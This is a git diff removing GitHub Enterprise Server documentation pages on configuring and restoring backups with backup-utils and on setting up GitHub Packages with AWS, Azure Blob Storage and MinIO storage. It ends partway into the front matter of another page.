/admin/configuration/configuring-backups-on-your-appliance - - /admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance - - /admin/configuration/configuring-your-enterprise/configuring-backups-on-your-instance -intro: 'As part of a disaster recovery plan, you can protect production data on {% data variables.location.product_location %} by configuring automated backups.' -versions: - ghes: '*' -type: how_to -topics: - - Backups - - Enterprise - - Fundamentals - - Infrastructure ---- -## About {% data variables.product.prodname_enterprise_backup_utilities %} - -{% data variables.product.prodname_enterprise_backup_utilities %} is a backup system you install on a separate host, which takes backup snapshots of {% data variables.location.product_location %} at regular intervals over a secure SSH network connection. You can use a snapshot to restore an existing {% data variables.product.prodname_ghe_server %} instance to a previous state from the backup host. - -Only data added since the last snapshot will transfer over the network and occupy additional physical storage space. To minimize performance impact, backups are performed online under the lowest CPU/IO priority. You do not need to schedule a maintenance window to perform a backup. - -Major releases and version numbers for {% data variables.product.prodname_enterprise_backup_utilities %} align with feature releases of {% data variables.product.prodname_ghe_server %}. We support the four most recent versions of both products. For more information, see [AUTOTITLE](/admin/all-releases). - -For more detailed information on features, requirements, and advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. - -## Prerequisites - -To use {% data variables.product.prodname_enterprise_backup_utilities %}, you must have a host system separate from {% data variables.location.product_location %}. For details about how the system should be configured, see [Requirements](https://github.com/github/backup-utils/blob/master/docs/requirements.md) in the github/backup-utils repository. - -You can also integrate {% data variables.product.prodname_enterprise_backup_utilities %} into an existing environment for long-term permanent storage of critical data. - -We recommend that the backup host and {% data variables.location.product_location %} be geographically distant from each other. This ensures that backups are available for recovery in the event of a major disaster or network outage at the primary site. - -Physical storage requirements will vary based on Git repository disk usage and expected growth patterns: - -| Hardware | Recommendation | -| -------- | --------- | -| **vCPUs** | 4 | -| **Memory** | 8 GB | -| **Storage** | Five times the primary instance's allocated storage | - -More resources may be required depending on your usage, such as user activity and selected integrations. - -For more information, see [{% data variables.product.prodname_enterprise_backup_utilities %} requirements](https://github.com/github/backup-utils/blob/master/docs/requirements.md) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. - -## Installing {% data variables.product.prodname_enterprise_backup_utilities %} - -To install {% data variables.product.prodname_enterprise_backup_utilities %} on your backup host, download the latest version of {% data variables.product.prodname_enterprise_backup_utilities %} from the [github/backup-utils repository](https://github.com/github/backup-utils/releases) that is compatible with your version of {% data variables.product.prodname_ghe_server %}. For example, if you are running version 3.8.4 of {% data variables.product.prodname_ghe_server %}, then download the latest version of {% data variables.product.prodname_enterprise_backup_utilities %} in the 3.10 series. This is possible because all versions of {% data variables.product.prodname_enterprise_backup_utilities %} are backwards compatible for 2 versions, meaning the {% data variables.product.prodname_enterprise_backup_utilities %} 3.10 series can be used to backup and restore {% data variables.product.prodname_ghe_server %} instances running versions 3.8, 3.9, or 3.10. - -After you download a compressed archive, you can extract and install the contents. For more information, see [Getting started](https://github.com/github/backup-utils/blob/master/docs/getting-started.md) in the github/backup-utils repository. - -If you have an existing backup configuration file, `backup.config`, ensure you copy the file to the location of the newly extracted and installed version of {% data variables.product.prodname_enterprise_backup_utilities %}. - -Backup snapshots created by {% data variables.product.prodname_enterprise_backup_utilities %} are written to the disk path set by the `GHE_DATA_DIR` data directory variable in your `backup.config` file. These snapshots need to be stored on a filesystem which supports symbolic and hard links. - -> [!NOTE] -> We recommend ensuring your snapshots are not kept in a subdirectory of the {% data variables.product.prodname_enterprise_backup_utilities %} installation directory, to avoid inadvertently overwriting your data directory when upgrading {% data variables.product.prodname_enterprise_backup_utilities %} versions. - -1. Download the relevant {% data variables.product.prodname_enterprise_backup_utilities %} release from the [Releases](https://github.com/github/backup-utils/releases) page of the github/backup-utils repository. - -1. To extract the repository using tar, run the following command. - - ```shell - tar -xzvf /path/to/github-backup-utils-vMAJOR.MINOR.PATCH.tar.gz - ``` - -1. To change into the local repository directory, run the following command. - - ```shell - cd backup-utils - ``` - -1. To copy the included `backup.config-example` file to `backup.config`, run the following command. - - ```shell - cp backup.config-example backup.config - ``` - -1. To customize your configuration, edit `backup.config` in a text editor. - - 1. If you previously upgraded {% data variables.product.prodname_enterprise_backup_utilities %} using Git, ensure that you copy your existing configuration from `backup.config` into the new file. For more information, see [Upgrading {% data variables.product.prodname_enterprise_backup_utilities %}](#upgrading-github-enterprise-server-backup-utilities). - 1. Set the `GHE_HOSTNAME` value to your primary {% data variables.product.prodname_ghe_server %} instance's hostname or IP address. - - > [!NOTE] - > If {% data variables.location.product_location %} is deployed as a cluster or in a high availability configuration using a load balancer, the `GHE_HOSTNAME` can be the load balancer hostname, as long as the load balancer allows SSH access over port 122 to {% data variables.location.product_location %}. - > - > To ensure a recovered instance is immediately available, perform backups targeting the primary instance even in a geo-replication configuration. - - 1. Set the `GHE_DATA_DIR` value to the filesystem location where you want to store backup snapshots. We recommend choosing a location on the same filesystem as your backup host. -1. To grant your backup host access to your instance, open your primary instance's settings page at `http(s)://HOSTNAME/setup/settings` and add the backup host's SSH key to the list of authorized SSH keys. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh#enabling-access-to-the-administrative-shell-via-ssh). -1. On your backup host, verify SSH connectivity with {% data variables.location.product_location %} with the `ghe-host-check` command. - - ```shell - ./bin/ghe-host-check - ``` - -1. To create an initial full backup, run the following command. - - ```shell - ./bin/ghe-backup - ``` - -For more information on advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. - -## Upgrading {% data variables.product.prodname_enterprise_backup_utilities %} - -When upgrading {% data variables.product.prodname_enterprise_backup_utilities %}, you must choose a version that will work with your current version of {% data variables.product.prodname_ghe_server %}. Your installation of {% data variables.product.prodname_enterprise_backup_utilities %} must be at least the same version as {% data variables.location.product_location %}, and cannot be more than two versions ahead. For more information, see [{% data variables.product.prodname_ghe_server %} version requirements](https://github.com/github/backup-utils/blob/master/docs/requirements.md#github-enterprise-server-version-requirements) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. - -1. Verify the installation method for {% data variables.product.prodname_enterprise_backup_utilities %}. Previous versions of {% data variables.product.prodname_enterprise_backup_utilities %} supported installation and updates in a local Git repository, but this method is no longer supported. - - {% data reusables.enterprise_backup_utilities.enterprise-backup-utils-directory %} - 1. To check if a valid working directory exists inside a Git repository, run the following command. - - ```shell - git rev-parse --is-inside-work-tree - ``` - -1. To determine how to upgrade {% data variables.product.prodname_enterprise_backup_utilities %}, review the output from `git rev-parse --is-inside-work-tree`. - - * If the output is `true`, {% data variables.product.prodname_enterprise_backup_utilities %} was installed by cloning the project's Git repository. To upgrade, copy your existing configuration in `backup.config`, then follow the instructions in [Installing {% data variables.product.prodname_enterprise_backup_utilities %}](#installing-github-enterprise-server-backup-utilities). - * If the output includes `fatal: not a git repository (or any of the parent directories)`, {% data variables.product.prodname_enterprise_backup_utilities %} was extracted from a compressed archive file. To upgrade, follow the instructions in [Installing {% data variables.product.prodname_enterprise_backup_utilities %}](#installing-github-enterprise-server-backup-utilities). - -## Scheduling a backup - -You can schedule regular backups on the backup host using the `cron(8)` command or a similar command scheduling service. The configured backup frequency will dictate the worst case recovery point objective (RPO) in your recovery plan. For example, if you have scheduled the backup to run every day at midnight, you could lose up to 24 hours of data in a disaster scenario. We recommend starting with an hourly backup schedule, guaranteeing a worst case maximum of one hour of data loss if the primary site data is destroyed. - -If backup attempts overlap, the `ghe-backup` command will abort with an error message, indicating the existence of a simultaneous backup. If this occurs, we recommended decreasing the frequency of your scheduled backups. For more information, see the "Scheduling backups" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#scheduling-backups) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. - -## Restoring a backup - -In the event of prolonged outage or catastrophic event at the primary site, you can restore {% data variables.location.product_location %} by provisioning another instance and performing a restore from the backup host. You must add the backup host's SSH key to the target {% data variables.product.prodname_enterprise %} instance as an authorized SSH key before restoring an instance. - -When performing backup restores to {% data variables.location.product_location %}, you can only restore data from at most two feature releases behind. For example, if you take a backup from {% data variables.product.prodname_ghe_server %} 3.0.x, you can restore the backup to an instance running {% data variables.product.prodname_ghe_server %} 3.2.x. You cannot restore data from a backup of {% data variables.product.prodname_ghe_server %} 2.22.x to an instance running 3.2.x, because that would be three jumps between versions (2.22 to 3.0 to 3.1 to 3.2). You would first need to restore to an instance running 3.1.x, and then upgrade to 3.2.x. - -Network settings are excluded from the backup snapshot. After restoration, you must manually configure networking on the target {% data variables.product.prodname_ghe_server %} instance. - -### Prerequisites - -1. Ensure maintenance mode is enabled on the primary instance and all active processes have completed. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). -1. Stop replication on all replica nodes in a high-availability configuration. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration#ghe-repl-stop). -1. Provision a new {% data variables.product.prodname_ghe_server %} instance to use as a target for the restoration of your backup. For more information, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance). -1. If {% data variables.location.product_location %} has {% data variables.product.prodname_actions %} enabled, you must configure the external storage provider for {% data variables.product.prodname_actions %} on the replacement instance. For more information, see [AUTOTITLE](/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled). - -### Starting the restore operation - -To restore {% data variables.location.product_location %} from your backup host using the last successful snapshot, use the `ghe-restore` command. You can use the following additional options with `ghe-restore`. - -* The `-c` flag overwrites the settings, certificate, and license data on the target host even if it is already configured. Omit this flag if you are setting up a staging instance for testing purposes and you wish to retain the existing configuration on the target. For more information, see the "Using backup and restore commands" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#using-the-backup-and-restore-commands) in the github/backup-utils repository. -* The `-s` flag allows you to select a different backup snapshot. - -After you run `ghe-restore`, the command confirms the restoration, then outputs details and status during the operation. - -```shell -$ ghe-restore -c 169.154.1.1 -> Checking for leaked keys in the backup snapshot that is being restored ... -> * No leaked keys found -> Connect 169.154.1.1:122 OK (v2.9.0) - -> WARNING: All data on GitHub Enterprise appliance 169.154.1.1 (v2.9.0) -> will be overwritten with data from snapshot 20170329T150710. -> Please verify that this is the correct restore host before continuing. -> Type 'yes' to continue: yes - -> Starting restore of 169.154.1.1:122 from snapshot 20170329T150710 -# ...output truncated -> Completed restore of 169.154.1.1:122 from snapshot 20170329T150710 -> Visit https://169.154.1.1/setup/settings to review appliance configuration. -``` - -Optionally, to validate the restore, configure an IP exception list to allow access to a specified list of IP addresses. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list). - -On an instance in a high-availability configuration, after you restore to new disks on an existing or empty instance, `ghe-repl-status` may report that Git or Alambic replication is out of sync due to stale server UUIDs. These stale UUIDs can be the result of a retired node in a high-availability configuration still being present in the application database, but not in the restored replication configuration. - -To remediate after the restoration completes and before starting replication, you can tear down stale UUIDs using `ghe-repl-teardown`. If you need further assistance, visit {% data variables.contact.contact_ent_support %}. - -## Monitoring backup or restoration progress - -During a backup or restoration operation, you can use the `ghe-backup-progress` utility on your backup host to monitor the operation's progress. The utility prints the progress of each job sequentially. - -To monitor progress on the backup host, from the directory containing {% data variables.product.prodname_enterprise_backup_utilities %}, run the following command. - -```shell copy -bin/ghe-backup-progress -``` - -By default, the utility prints progress continuously until the operation is complete. You can press any key to return to the prompt. - -Optionally, you can run the following command to print the current progress, the last completed job, and then immediately exit. - -```shell copy -bin/ghe-backup-progress --once -``` diff --git a/content/admin/backing-up-and-restoring-your-instance/index.md b/content/admin/backing-up-and-restoring-your-instance/index.md deleted file mode 100644 index 57ca1f160cec..000000000000 --- a/content/admin/backing-up-and-restoring-your-instance/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Backing up and restoring your instance -shortTitle: Back up and restore -intro: 'You can configure backups for your instance and troubleshoot common backup problems.' -versions: - ghes: '*' -topics: - - Enterprise -children: - - /configuring-backups-on-your-instance -redirect_from: - - /admin/backing-up-and-restoring-your-instance/known-issues-with-backups-for-your-instance ---- - diff --git a/content/admin/configuring-packages/configuring-package-ecosystem-support-for-your-enterprise.md b/content/admin/configuring-packages/configuring-package-ecosystem-support-for-your-enterprise.md deleted file mode 100644 index d72d780aa4c4..000000000000 --- a/content/admin/configuring-packages/configuring-package-ecosystem-support-for-your-enterprise.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Configuring package ecosystem support for your enterprise -intro: 'You can configure {% data variables.product.prodname_registry %} for your enterprise by globally enabling or disabling individual package ecosystems on your enterprise, including {% ifversion ghes %}{% data variables.product.prodname_container_registry %}, {% endif %}Docker, and npm. Learn about other configuration requirements to support specific package ecosystems.' -permissions: 'Site administrators can enable {% data variables.product.prodname_registry %} and configure enterprise settings.' -redirect_from: - - /enterprise/admin/packages/configuring-packages-support-for-your-enterprise - - /admin/packages/configuring-packages-support-for-your-enterprise - - /admin/packages/configuring-package-ecosystem-support-for-your-enterprise -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Packages -shortTitle: Configure package ecosystems ---- - -{% data reusables.package_registry.packages-ghes-release-stage %} - -## About package ecosystem support - -You can choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.location.product_location %}. {% data reusables.package_registry.packages-ghes-supported-registries %} - -## Prerequisites - -Before you can configure individual package ecosystems, {% data variables.product.prodname_registry %} must be enabled and configured for your instance. For more information, see [AUTOTITLE](/admin/packages/getting-started-with-github-packages-for-your-enterprise). - -## Enabling or disabling individual package ecosystems - -To prevent new packages from being uploaded, you can set an ecosystem you previously enabled to **Read-Only**, while still allowing existing packages to be downloaded. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_site_admin_settings.packages-tab %} -1. Under "Ecosystem Toggles", for each package type, select **Enabled**, **Read-Only**, or **Disabled**. - - > [!NOTE] - > Subdomain isolation must be enabled to toggle the {% data variables.product.prodname_container_registry %} options. - - ![Screenshot of the "Ecosystem toggles" section on the Settings page of the Management Console.](/assets/images/enterprise/site-admin-settings/ecosystem-toggles.png) - -{% data reusables.enterprise_management_console.save-settings %} - -## Connecting to the official npm registry - -If you've enabled npm packages on your enterprise and want to allow access to the official npm registry as well as the {% data variables.product.prodname_registry %} npm registry, then you must perform some additional configuration. - -{% data variables.product.prodname_registry %} uses a transparent proxy for network traffic that connects to the official npm registry at `registry.npmjs.com`. The proxy is enabled by default and cannot be disabled. - -To allow network connections to the npm registry, you will need to configure network ACLs that allow {% data variables.product.prodname_ghe_server %} to send HTTPS traffic to `registry.npmjs.com` over port 443/TCP. - -Note that connections to `registry.npmjs.com` traverse through the Cloudflare network, and subsequently do not connect to a single static IP address; instead, a connection is made to an IP address within the CIDR ranges listed here: https://www.cloudflare.com/ips/. - -If you wish to enable npm upstream sources, select `Enabled` for `npm upstreaming`. - -## Next steps - -As a next step, we recommend you check if you need to update or upload a TLS certificate for your packages host URL. For more information, see [AUTOTITLE](/admin/packages/getting-started-with-github-packages-for-your-enterprise). diff --git a/content/admin/configuring-packages/enabling-github-packages-with-aws.md b/content/admin/configuring-packages/enabling-github-packages-with-aws.md deleted file mode 100644 index 28b63d681838..000000000000 --- a/content/admin/configuring-packages/enabling-github-packages-with-aws.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Enabling GitHub Packages with AWS -intro: 'Set up {% data variables.product.prodname_registry %} with AWS as your external storage.' -versions: - ghes: '*' -type: tutorial -topics: - - Administrator - - Enterprise - - Packages - - Packages -shortTitle: Enable Packages with AWS -redirect_from: - - /admin/packages/enabling-github-packages-with-aws ---- - -> [!WARNING] -> * It is critical that you configure any restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible to the public internet. For more information, see [Setting bucket and object access permissions](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/set-permissions.html) in the AWS Documentation. If restrictions by IP address have been set up, please include IP addresses for {% data variables.location.product_location_enterprise %} and the end users who will be using the {% data variables.location.product_location_enterprise %}. -> * We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. -> * Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. - -## Prerequisites - -Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.location.product_location_enterprise %}, you need to prepare your AWS storage bucket. To prepare your AWS storage bucket, we recommend consulting the official AWS docs at [AWS Documentation](https://docs.aws.amazon.com/index.html). - -Ensure your AWS access key ID and secret have the following permissions: -* `s3:PutObject` -* `s3:GetObject` -* `s3:ListBucketMultipartUploads` -* `s3:ListMultipartUploadParts` -* `s3:AbortMultipartUpload` -* `s3:DeleteObject` -* `s3:ListBucket` - -## Enabling {% data variables.product.prodname_registry %} with AWS external storage - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_site_admin_settings.packages-tab %} -{% data reusables.package_registry.enable-enterprise-github-packages %} -1. Under "Packages Storage", select **Amazon S3** and enter your storage bucket's details: - * **AWS Service URL:** The service URL for your bucket. For example, if your S3 bucket was created in the `us-west-2 region`, this value should be `https://s3.us-west-2.amazonaws.com`. - - For more information, see [AWS service endpoints](https://docs.aws.amazon.com/general/latest/gr/rande.html) in the AWS documentation. - - * **AWS S3 Bucket:** The name of your S3 bucket dedicated to {% data variables.product.prodname_registry %}. - * **AWS S3 Access Key** and **AWS S3 Secret Key:** The AWS access key ID and secret key to access your bucket. - - For more information on managing AWS access keys, see the [AWS Identity and Access Management Documentation](https://docs.aws.amazon.com/iam/index.html). -{% data reusables.enterprise_management_console.save-settings %} - -## Next steps - -{% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/content/admin/configuring-packages/enabling-github-packages-with-azure-blob-storage.md b/content/admin/configuring-packages/enabling-github-packages-with-azure-blob-storage.md deleted file mode 100644 index 134cd94d43c5..000000000000 --- a/content/admin/configuring-packages/enabling-github-packages-with-azure-blob-storage.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Enabling GitHub Packages with Azure Blob Storage -intro: 'Set up {% data variables.product.prodname_registry %} with Azure Blob Storage as your external storage.' -versions: - ghes: '*' -type: tutorial -topics: - - Enterprise - - Packages - - Storage -shortTitle: Enable Packages with Azure -redirect_from: - - /admin/packages/enabling-github-packages-with-azure-blob-storage ---- - -> [!WARNING] -> * It is critical that you set the restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible on the public internet. If restrictions by IP address have been set up, please include IP addresses for {% data variables.location.product_location_enterprise %} and the end users who will be using the {% data variables.location.product_location_enterprise %}. -> * We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. -> * Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. - -## Prerequisites - -Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.location.product_location_enterprise %}, you need to prepare your Azure Blob storage bucket. To prepare your Azure Blob storage bucket, we recommend consulting the official Azure Blob storage docs at the official [Azure Blob Storage documentation site](https://docs.microsoft.com/en-us/azure/storage/blobs/). - -## Enabling {% data variables.product.prodname_registry %} with Azure Blob Storage - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_site_admin_settings.packages-tab %} -{% data reusables.package_registry.enable-enterprise-github-packages %} -1. Under "Packages Storage", select **Azure Blob Storage** and enter your Azure container name for your packages storage bucket and connection string. - - You must create a storage container prior to setting the container name and connection string. - - > [!NOTE] - > You can find your Azure Connection String by navigating to the Access Key menu in your Azure storage account. - > - > Usage of a SAS Token or SAS URL as connection string is not currently supported. - -{% data reusables.enterprise_management_console.save-settings %} - -## Next steps - -{% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/content/admin/configuring-packages/enabling-github-packages-with-minio.md b/content/admin/configuring-packages/enabling-github-packages-with-minio.md deleted file mode 100644 index 91717d4d1ac2..000000000000 --- a/content/admin/configuring-packages/enabling-github-packages-with-minio.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Enabling GitHub Packages with MinIO -intro: 'Set up {% data variables.product.prodname_registry %} with MinIO as your external storage.' -versions: - ghes: '*' -type: tutorial -topics: - - Enterprise - - Packages - - Storage -shortTitle: Enable Packages with MinIO -redirect_from: - - /admin/packages/enabling-github-packages-with-minio ---- - -> [!WARNING] -> * It is critical that you set the restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible on the public internet. If restrictions by IP address have been set up, please include IP addresses for {% data variables.location.product_location_enterprise %} and the end users who will be using the {% data variables.location.product_location_enterprise %}. -> * We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. -> * Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. -> * We recommend configuring the TLS for the bucket to avoid possible issues with Package Registry, for example, downloading from NuGet Registry. - -## Prerequisites - -Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.location.product_location_enterprise %}, you need to prepare your MinIO storage bucket. To help you quickly set up a MinIO bucket and navigate MinIO's customization options, see the [AUTOTITLE](/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages). - -Ensure your MinIO external storage access key ID and secret have these permissions: -* `s3:PutObject` -* `s3:GetObject` -* `s3:ListBucketMultipartUploads` -* `s3:ListMultipartUploadParts` -* `s3:AbortMultipartUpload` -* `s3:DeleteObject` -* `s3:ListBucket` - -## Enabling {% data variables.product.prodname_registry %} with MinIO external storage - -Although MinIO does not currently appear in the user interface under "Package Storage", MinIO is still supported by {% data variables.product.prodname_registry %} on {% data variables.product.prodname_enterprise %}. Also, note that MinIO's object storage is compatible with the S3 API and you can enter MinIO's bucket details in place of AWS S3 details. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_site_admin_settings.packages-tab %} -{% data reusables.package_registry.enable-enterprise-github-packages %} -1. Under "Packages Storage", select **Amazon S3**. -1. Enter your MinIO storage bucket's details in the AWS storage settings. - * **AWS Service URL:** The hosting URL for your MinIO bucket. - * **AWS S3 Bucket:** The name of your S3-compatible MinIO bucket dedicated to {% data variables.product.prodname_registry %}. - * **AWS S3 Access Key** and **AWS S3 Secret Key:** Enter the MinIO access key ID and secret key to access your bucket. -{% data reusables.enterprise_management_console.save-settings %} - -## Next steps - -{% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/content/admin/configuring-packages/getting-started-with-github-packages-for-your-enterprise.md b/content/admin/configuring-packages/getting-started-with-github-packages-for-your-enterprise.md deleted file mode 100644 index c3fcc46fb0e2..000000000000 --- a/content/admin/configuring-packages/getting-started-with-github-packages-for-your-enterprise.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Getting started with GitHub Packages for your enterprise -shortTitle: Getting started with GitHub Packages -intro: 'You can start using {% data variables.product.prodname_registry %} on {% data variables.location.product_location %} by enabling the feature, configuring third-party storage, configuring the ecosystems you want to support, and updating your TLS certificate.' -permissions: 'Site administrators can enable and configure {% data variables.product.prodname_registry %}.' -redirect_from: - - /enterprise/admin/packages/enabling-github-packages-for-your-enterprise - - /admin/packages/enabling-github-packages-for-your-enterprise - - /admin/packages/getting-started-with-github-packages-for-your-enterprise -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Packages ---- - - -{% data reusables.package_registry.packages-cluster-support %} - -## Step 1: Check whether {% data variables.product.prodname_registry %} is available for your enterprise - -{% data variables.product.prodname_registry %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_registry %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see [AUTOTITLE](/admin/overview/about-upgrades-to-new-releases). - -## Step 2: Review hardware requirements - -If you plan to enable {% data variables.product.prodname_container_registry %} for the users of your instance, at least 10% more CPU resources are required. - -We recommend reviewing the levels of activity for users and automations on the instance to ensure that you have provisioned adequate CPU for your users. For more information, see [AUTOTITLE](/admin/enterprise-management/monitoring-your-appliance). - -For more information about minimum hardware requirements for {% data variables.location.product_location %}, see the hardware considerations for your instance's platform. - -* [AWS](/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws#hardware-considerations) -* [Azure](/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure#hardware-considerations) -* [Google Cloud Platform](/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform#hardware-considerations) -* [Hyper-V](/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v#hardware-considerations) -* [OpenStack KVM](/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm#hardware-considerations) -* [VMware](/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware#hardware-considerations) - -For more information about adjusting resources for an existing instance, see [AUTOTITLE](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources). - -## Step 3: Enable {% data variables.product.prodname_registry %} and configure external storage - -{% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %} uses external blob storage to store your packages. - -After enabling {% data variables.product.prodname_registry %} for {% data variables.location.product_location %}, you'll need to prepare your third-party storage bucket. The amount of storage required depends on your usage of {% data variables.product.prodname_registry %}, and the setup guidelines can vary by storage provider. - -Supported external storage providers -* Amazon Web Services (AWS) S3 -* Azure Blob Storage -* MinIO - -To enable {% data variables.product.prodname_registry %} and configure third-party storage, see: -* [AUTOTITLE](/admin/packages/enabling-github-packages-with-aws) -* [AUTOTITLE](/admin/packages/enabling-github-packages-with-azure-blob-storage) -* [AUTOTITLE](/admin/packages/enabling-github-packages-with-minio) - -## Step 4: Specify the package ecosystems to support on your instance - -Choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.location.product_location %}. {% data reusables.package_registry.packages-ghes-supported-registries %} For more information, see [AUTOTITLE](/admin/packages/configuring-package-ecosystem-support-for-your-enterprise). - -## Step 5: Ensure you have a TLS certificate for your package host URL, if needed - -If subdomain isolation is enabled for {% data variables.location.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `{% data reusables.package_registry.container-registry-hostname %}`. Make sure each package host URL includes `https://`. - - You can create the certificate manually, or you can use _Let's Encrypt_. If you already use _Let's Encrypt_, you must request a new TLS certificate after enabling {% data variables.product.prodname_registry %}. For more information about package host URLs, see [AUTOTITLE](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation). For more information about uploading TLS certificates to {% data variables.product.prodname_ghe_server %}, see [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-tls). - -## Step 6: Check for and rename reserved names - -If you want to use the Docker ecosystem with subdomain isolation disabled, you **must** first rename any user or organization named `v2` on {% data variables.location.product_location %}, prior to enabling Docker ecosystem support in the {% data variables.enterprise.management_console %}. Docker uses a `v2` account name to manage path conflicts with the Docker API, and once Docker registry support is enabled, you won't be able to use this name anymore. - -You can view a full list of logins reserved for internal use by navigating to the "Reserved logins" page in the Site admin dashboard. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#reserved-logins). diff --git a/content/admin/configuring-packages/index.md b/content/admin/configuring-packages/index.md deleted file mode 100644 index f09c5a166954..000000000000 --- a/content/admin/configuring-packages/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Managing GitHub Packages for your enterprise -allowTitleToDifferFromFilename: true -intro: 'You can enable {% data variables.product.prodname_registry %} for your enterprise and manage {% data variables.product.prodname_registry %} settings and allowed packaged types.' -redirect_from: - - /enterprise/admin/packages - - /admin/packages -versions: - ghes: '*' -topics: - - Enterprise -children: - - /getting-started-with-github-packages-for-your-enterprise - - /enabling-github-packages-with-aws - - /enabling-github-packages-with-azure-blob-storage - - /enabling-github-packages-with-minio - - /quickstart-for-configuring-your-minio-storage-bucket-for-github-packages - - /configuring-package-ecosystem-support-for-your-enterprise - - /migrating-your-enterprise-to-the-container-registry-from-the-docker-registry -shortTitle: Packages ---- -{% data reusables.package_registry.packages-ghes-release-stage %} - \ No newline at end of file diff --git a/content/admin/configuring-packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry.md b/content/admin/configuring-packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry.md deleted file mode 100644 index 30fa4d91fcc0..000000000000 --- a/content/admin/configuring-packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Migrating your enterprise to the Container registry from the Docker registry -intro: 'You can migrate Docker images previously stored in the Docker registry on {% data variables.location.product_location %} to the {% data variables.product.prodname_container_registry %}.' -product: '{% data reusables.gated-features.packages %}' -permissions: 'Enterprise owners can migrate Docker images to the {% data variables.product.prodname_container_registry %}.' -versions: - ghes: '*' -shortTitle: 